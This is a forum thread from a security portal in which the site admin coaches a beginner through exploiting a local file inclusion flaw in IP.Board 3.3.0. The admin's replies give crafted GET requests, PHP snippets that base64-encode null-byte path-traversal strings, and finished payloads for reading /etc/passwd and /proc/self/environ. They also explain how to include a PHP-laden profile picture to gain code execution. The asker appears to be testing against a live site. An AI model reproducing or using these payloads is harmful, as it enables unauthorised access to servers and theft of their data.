Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
August 22, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 400
Members: 0
Total: 400
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> Ipboard 3.3.0 lfi exploit
Post new topic  Reply to topic View previous topic :: View next topic 
Ipboard 3.3.0 lfi exploit
PostPosted: Fri Sep 14, 2012 1:30 pm Reply with quote
supertata2
Beginner
Beginner
 
Joined: Sep 14, 2012
Posts: 3




http://www.waraxe.us/content-86.html

i have some questions which confuses me
i have some questions hopefully someone nice will answer me Smile
Quote:
Attacker uploads avatar picture with malicious php code to target server

how can i upload the php script via avatar picture?

how can i execute proc/self/environ via the exploit?

thank you very much
View user's profile Send private message
PostPosted: Fri Sep 14, 2012 8:13 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You can find many tutorials about exploiting LFI via "/proc/self/environ" and uploaded gif/jpg pictures, for example:

https://bechtsoudis.com/hacking/php-code-into-jpeg-metadata-from-hide-to-unhide/

http://www.wildhacker.com/2012/01/hack-website-local-file-inclusion.html
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Sep 15, 2012 12:14 am Reply with quote
supertata2
Beginner
Beginner
 
Joined: Sep 14, 2012
Posts: 3




waraxe wrote:
You can find many tutorials about exploiting LFI via "/proc/self/environ" and uploaded gif/jpg pictures, for example:

https://bechtsoudis.com/hacking/php-code-into-jpeg-metadata-from-hide-to-unhide/

http://www.wildhacker.com/2012/01/hack-website-local-file-inclusion.html


thank you for the links on the gif uploading tutorial
i still have some questions about proc/self/environ
i read the tutorial and it seems like i am supposed to do this
index.php?app=core&module=global&section=like%20%20&do=unsubscribe&key=proc/self/environ
which doesn't work since ipb checks for real login users and email
i tried encrypting it and it doesn't work also
i also tried something like
proc/self/environ;supertata2;32;32;32;supertata@hotmail.com

forums;supertata2;32;32;32;supertata@hotmail.com
according to this line where am i supposed to put the proc/self/environ?

thank you so much
View user's profile Send private message
PostPosted: Sun Sep 16, 2012 3:47 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




First of all, there are preconditions listed in advisory:

Preconditions:
1. attacker must be logged in as valid user
2. PHP must be < 5.3.4 for null-byte attacks to work

If you want to use uploaded picture with php code inside or
"/proc/self/environ", then you need null byte and newer php
versions are protected against this type of attack.
What php version it is?

Next, you need carefully constructed GET parameter "key".
And it must be base64 encoded!

User id is 32 and email is supertata@hotmail.com?

Then first you need semicolon separated string like this:

forums;/../../test;1;32;32;supertata@hotmail.com

Use base64 encoder:

http://base64-encoder-online.waraxe.us/

And you get:

Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MzI7MzI7c3VwZXJ0YXRhQGhvdG1haWwuY29t

Now issue GET request:

index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MzI7MzI7c3VwZXJ0YXRhQGhvdG1haWwuY29t

Do you see error message "Fatal error: Uncaught exception" as result?
If you don't see that message, then something is wrong - target may be
not exploitable or you did something wrong.
If you see specific error message, then you can do next test.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Sep 17, 2012 1:45 pm Reply with quote
supertata2
Beginner
Beginner
 
Joined: Sep 14, 2012
Posts: 3




yes i do see the error message
i now understand about uploading the null byte
but i still don't understand the next step
what is this line /../../test? is it the path / folder of the file?
how can i call the php file?
php version of the site is:5.2.17
thank you again
View user's profile Send private message
PostPosted: Tue Sep 18, 2012 11:15 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




According to php version it may be possible to use null bytes.
Now there is one thing, that makes exploitation little bit harder - we need
base64 encoder, which does accept null bytes. Online encoder usually do not
offer such functionality. One way to solve this problem is using your
own custom made base64 encoder:

<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../../../../../../../../../../etc/passwd\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>

And you will get base64 encoded string:

Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkADsxOzMyOzMyO3N1cGVydGF0YUBob3RtYWlsLmNvbQ

Try to use that and you may be able to get the contents of "/etc/passwd" file.

<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../../../../../../../../../../proc/self/environ\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>

Base64 encoded string:

Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcm9jL3NlbGYvZW52aXJvbgA7MTszMjszMjtzdXBlcnRhdGFAaG90bWFpbC5jb20

In case of success you will see specific response, revealing some environment variables.

And finally let's try using profile picture with php payload:

<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../uploads/profile/photo-32.jpg\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>

Base64 encoded string:

Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi91cGxvYWRzL3Byb2ZpbGUvcGhvdG8tMzIuanBnADsxOzMyOzMyO3N1cGVydGF0YUBob3RtYWlsLmNvbQ

Choose jpg picture with size smaller than 100x100 px, add php payload and then
upload as profile picture. Use example above and you should get php level access.
View user's profile Send private message Send e-mail Visit poster's website
Ipboard 3.3.0 lfi exploit
  www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.060 Seconds